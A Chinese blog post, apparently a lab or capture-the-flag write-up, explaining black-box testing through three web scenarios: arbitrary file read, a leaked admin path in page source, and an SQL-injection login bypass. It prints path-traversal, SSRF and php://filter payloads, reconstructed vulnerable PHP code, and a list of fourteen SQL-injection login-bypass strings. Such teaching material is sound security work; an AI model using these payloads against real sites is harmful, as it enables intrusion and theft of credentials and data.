提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
前置知识
今天给大家写的是一篇"黑盒测试"的文章,下面简单了解一下什么是黑盒测试;
什么是黑盒测试?
黑盒测试(Black-box Testing),又称功能测试或数据驱动测试,是一种只关注系统外部表现而不考虑内部逻辑结构的测试方法。在测试人员眼中,被测系统就像一个完全不透明的"黑盒",其内部的代码实现、运行逻辑和架构都是隐藏的。
核心运作逻辑
黑盒测试的核心在于验证"输入"与"输出"的关系。测试者只需向系统提供特定的输入数据,并观察其输出结果是否符合产品需求或安全预期。
举个实际的例子:
假设你在测试一个Web应用的登录界面(或者对其进行渗透测试),你不需要去看后端是用 PHP 还是 Python 写的,也不需要审查底层的数据库查询逻辑。你只需要尝试输入正常的账号密码,看看能否成功登录;或者尝试输入一些特殊的闭合字符(如常见的 SQL 注入负载),观察系统是否会抛出异常或被成功绕过。只要结果符合预期,这个功能的"黑盒"测试就通过了。
优缺点概览
- 优势:完全贴近真实用户的操作视角,能最直观地验证功能有效性;对测试人员的代码能力要求较低,能够快速开展。
- 局限:无法深入发现代码深层架构中的隐藏Bug或逻辑缺陷;且测试用例难以穷尽所有的输入组合,覆盖率有限。
话不多说,我们直接开始;
情景一:任意文件读取
这里我们进入网站,得到如下页面:

看到是一个普通的博客页面,随便点点,看看有没有什么可利用的功能点:
这里我们跳转到 /page_1.php页面,再点击其他页面,发现改变的只有 /page_1.php 参数:

/page_2.php,经过测试,共有4个页面:

分别查看这几个页面的源代码,并没有发现什么有用的信息;
所以这里改变思路,发现了该网站是由Layui 2.5.7框架搭建:

还是没有什么收获;
Web目录枚举
随后尝试Web目录枚举:

尝试访问,均访问失败:

不过我们可以发现打开$id.php失败,这里我们有几种以下猜测:
bash
- 是否存在id.php这个页面
- 能否控制id参数
很显然,这里我们只能尝试第二个选择:
漏洞利用
构造以下payload:/page.php?id=1

从报错我们可以分析出:目标系统大概率存在任意文件读取(Arbitrary File Read)漏洞,甚至可能衍生出服务器端请求伪造(SSRF)。
报错信息分析
file_get_contents(...):PHP 中用于将整个文件(或 URL 响应)读入一个字符串的函数。这是漏洞发生的核心载体。4.php:这是函数当前尝试读取的目标文件。通常,这个值是由用户通过 GET/POST 参数(例如?file=4或?page=4.php)传入的,说明用户的输入未经过滤直接进入了文件读取函数。failed to open stream: No such file or directory:文件不存在。这说明攻击者(或测试者)传入的4.php在当前执行路径下找不到,从而触发了 Warning 并暴露了绝对路径。in /var/www/html/page.php on line 20:直接暴露了服务器的物理绝对路径(典型的 Linux + Apache/Nginx Web 目录),以及漏洞代码所在的具体文件 (page.php) 和具体行数 (20行)。这种信息泄露会为后续的攻击提供极大的便利。
还原潜在的漏洞代码
根据报错,page.php 的第 20 行附近,大概率存在类似以下逻辑的代码:
php
// 情况 A:完全无过滤,直接读取用户输入
$filename = $_GET['file'];
echo file_get_contents($filename);
// 情况 B:开发者自作聪明拼接了后缀,用户输入了 "4"
$filename = $_GET['file'];
echo file_get_contents($filename . ".php");
可利用的攻击链路
如果这个输入点可控,可以产生以下几种危害极大的利用方式:
- 路径穿越 / 任意文件读取 :
利用../跳出当前目录,读取系统敏感文件。例如传入?file=../../../../etc/passwd,如果权限允许,可以直接读取到 Linux 的用户信息。 - 敏感源码泄露 :
可以直接读取当前目录或其他目录下的 PHP 源码。例如读取数据库配置文件(如?file=config.php),获取数据库账号密码,为进一步渗透(如连接数据库写 Shell)打下基础。 - SSRF (服务器端请求伪造) :
如果服务器 PHP 配置中开启了allow_url_fopen(默认通常是开启的),file_get_contents是支持发起 HTTP/伪协议请求的。
传入类似?file=http://192.168.1.1/admin或?file=dict://内网IP:端口,就可以利用该服务器作为跳板,探测或攻击内网其他脆弱服务。 - 配合 PHP 伪协议 :
利用php://filter/read=convert.base64-encode/resource=index.php,强制将 PHP 文件进行 Base64 编码后输出,从而绕过某些由于直接输出 PHP 代码而被浏览器解析或被 WAF 拦截的问题。
这里我们合理猜测存在第二种代码情况:(因为我们只输入了id=4,url自动填充了 .php后缀)
php
$filename = $_GET['file'];
echo file_get_contents($filename . ".php");
之前我们进行Web目录扫描的时候同样扫描出来了flag.php,所以这里我们输入如下payload即可获得flag:

情景二:源码泄露后台路径
Web目录枚举
这里我们还是回到该页面,发现 "任意文件读取"漏洞已经被修复:

只有一个/page.php页面:

但没有关系,看到/page.php?id=2很容易联想到SQL注入,所以尝试以下:

这里使用"单引号闭合",发现页面变成了空白,所以猜测存在 "字符型注入"
但是经过尝试,并不存在SQL注入;
- 浪费时间
源码泄露
所以查看一下源代码:


相比于上一关的源代码,发现了一个可疑路径:alsckdfy/
所以这里访问一下,意外的得到了flag:

情景三:SQL注入登陆
Web目录枚举
还是老样子,进行一下Web目录扫描:

还是熟悉的报错:

同样的,不存在SQL注入和任意文件读取漏洞:

后台管理平台
那就查看一下源代码,访问alsckdfy/路径:

这里我们跳转到了一个后台登陆界面:

尝试抓包(如果实在没有办法,可以进行爆破)

虽然不建议爆破,但我们可以尝试SQL注入啊
SQL注入登陆
没想到随便尝试一下万能密码,直接得到了flag:
bash
# 常见的万能密码
# 1. 经典单引号闭合 + 恒真 + 通用双短线注释(最常用,注意双短线后有一个空格)
1' or 1=1--
# 2. 经典单引号闭合 + 恒真 + 字符串闭合(无需注释符,完美对称)
1' or '1'='1
# 3. 经典双引号闭合 + 恒真 + 字符串闭合(针对双引号包裹的查询)
1" or "1"="1
# 4. 经典单引号闭合 + 恒真 + MySQL专用井号注释
1' or 1=1#
# 5. 经典单引号闭合 + 恒真 + 多行注释符截断
1' or 1=1/*
# 6. 单引号闭合 + 逻辑或变异(用双竖线 || 代替 or 关键字)
1' || 1=1--
# 7. 单引号闭合 + 字符恒等变异(用于绕过针对数字 1=1 的 WAF 规则)
1' or 'a'='a
# 8. 单引号闭合 + 隐式类型转换(在 SQL 中非零数字代表 True)
1' or 1--
# 9. 单括号闭合 + 恒真 + 双短线注释(针对后端 SQL 带有括号的情况)
1') or 1=1--
# 10. 双引号双括号闭合 + 恒真 + 双短线注释
1")) or 1=1--
# 11. 单括号闭合 + 恒真 + 括号对称闭合(不使用任何注释符)
1') or ('1'='1
# 12. 带有分号结束符的单引号闭合(适用于 MSSQL / PostgreSQL 多语句执行场景)
1' or 1=1;--
# 13. URL编码/浏览器环境友好型(末尾的 + 会被解析为空格,确保注释生效)
1' or 1=1--+
# 14. 指定管理员用户 + 恒真闭合(常用于直接锁定并登录 admin 账户)
admin' or '1'='1

总结
本文采用黑盒测试视角,通过三个经典渗透测试情景,深入剖析任意文件读取、源码泄露及SQL注入登录漏洞的产生机理与利用链路。文章逻辑严密、案例贴近实战,配有完整的报错分析与代码还原,是网络安全教学与防范漏洞的实用参考指南。